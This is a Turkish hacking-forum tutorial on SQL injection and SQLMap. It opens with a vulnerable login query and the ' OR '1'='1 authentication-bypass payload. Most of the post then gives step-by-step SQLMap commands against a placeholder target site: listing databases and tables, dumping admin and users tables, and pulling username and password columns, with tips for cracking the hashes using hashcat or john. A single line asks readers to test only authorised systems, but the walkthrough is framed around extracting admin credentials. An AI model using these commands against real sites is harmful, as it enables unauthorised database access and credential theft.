Temel SQL Ve SQL Map Kullanımı

KARA

Genel Sorumlu
er
Katılım
20 Şubat 2025
Mesajlar
62
Tepkime puanı
8
Konum
Ankara
UTvmCl.png

TEMEL SQL VE SQLMAP KULLANIMI

GİRİŞ

SQL (Structured Query Language), veritabanlarıyla etkileşime geçmek için kullanılan temel bir dildir. Ancak geliştiricilerin yaptığı bazı güvenlik hataları, SQL enjeksiyonu (SQLi) gibi ciddi güvenlik açıklarına neden olabilir.

Bu yazımda temel SQL açıklarından, SQLMap temel komutlardan bahsedeceğim.

SQL AÇIĞI (SQL INJECTİON) NEDİR?

SQL Injection, bir uygulamanın kullanıcıdan aldığı girdileri yeterince filtrelemeden doğrudan SQL sorgularında kullanmasıyla ortaya çıkan bir güvenlik açığıdır. En sık rastlanan yerler:

- Arama kutuları

- Giriş (login) formları


- URL parametreleri (örnek: site.com?id=5)


Örnek bir zayıf SQL sorgusu:

Kod:
SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Bu örnekte $user ve $pass değişkenleri doğrudan kullanıcıdan alınıyor. Eğer biri şunu yazarsa:

Kod:
Username: ' OR '1'='1
Password: ' OR '1'='1

Sorgu şu hale gelir:

Kod:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';

Bu durumda sistem, herhangi bir kullanıcı adı/şifre doğrulaması yapmadan girişe izin verebilir. Bu da kritik bir güvenlik zafiyetidir.
YgWeb.png

SQLMAP NEDİR?

SQLMap, açık kaynaklı, otomatik bir SQL enjeksiyonu tespit ve sömürme aracıdır. Web sitelerinde SQL açıklarını bulup, bu açıklar üzerinden veritabanı bilgilerini çekmek için kullanılır.

SQLMAP TEMEL KOMUTLARI

Aşağıda bazı temel SQLMap komutlarını paylaşıyorum. Yalnızca kendi sistemlerinizde veya izin aldığınız test ortamlarında kullanmanız gerektiğini unutmayın.

1. BASİT TARAMA:

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1"

2. VERİTABANLARINI LİSTELE:

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" --dbs

3. BELİRLİ VERİTABANINDAKİ TABLOLARI LİSTELE

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D veritabani_adi --tables

4. TABLO İÇERİĞİNİ GÖRÜNTÜLE

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D veritabani_adi -T tablo_adi --dump


5. COOKİE İLE İŞLEM YAPMA (ÖRNEĞİN OTURUM TANIMLAMA)

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" --cookie="PHPSESSID=123456"


6. POST İSTEĞİYLE FORM TARAMA

Kod:
sqlmap -u "http://hedefsite.com/giris.php" --data="kadi=admin&sifre=123"

ADMİN BİLGİLERİNİ ÇEKME

SQL açığı olan bir sitede, veritabanı adı ve tablolar keşfedildikten sonra hedef genelde “kullanıcı” ya da “admin” bilgilerini çekmek olur. Bu işlemi SQLMap ile birkaç adımda yapabilirsiniz.

1. VERİTABANINDAKİ TABLOLARI ÖĞREN

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" --dbs

ÇIKAN VERİTABANI ADINI ALDIKTAN SONRA

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani --tables

2. ADMİN YA DA USER TABLOSUNU HEDEFLE

Çıkan tablolar arasında genellikle şu isimler olur

Kod:
users



admin



admins



kullanicilar


İlgili tabloyu bulduktan sonra aşağıdaki komutla içeriğini dökebilirsin:

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T admin --dump

Ya Da Tablo Adı Users İse

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T users --dump

3. BELİRLİ KOLONLARI SEÇEREK ÇEKMEK (örneğin: kullanıcı adı ve şifre):

ilk olarak kolonları listele:

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T users --columns

Sonra örneğin username ve password kolonlarını çekmek için

Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T users -C "username,password" --dump

NOT: Genelde şifreler hash olarak gelir (MD5,
SHA1 vs.). Bunları çözmek için hash cracker siteleri veya araçlar (örneğin: hashcat, john) kullanılabilir.
 
Son düzenleme:
Geri
Üst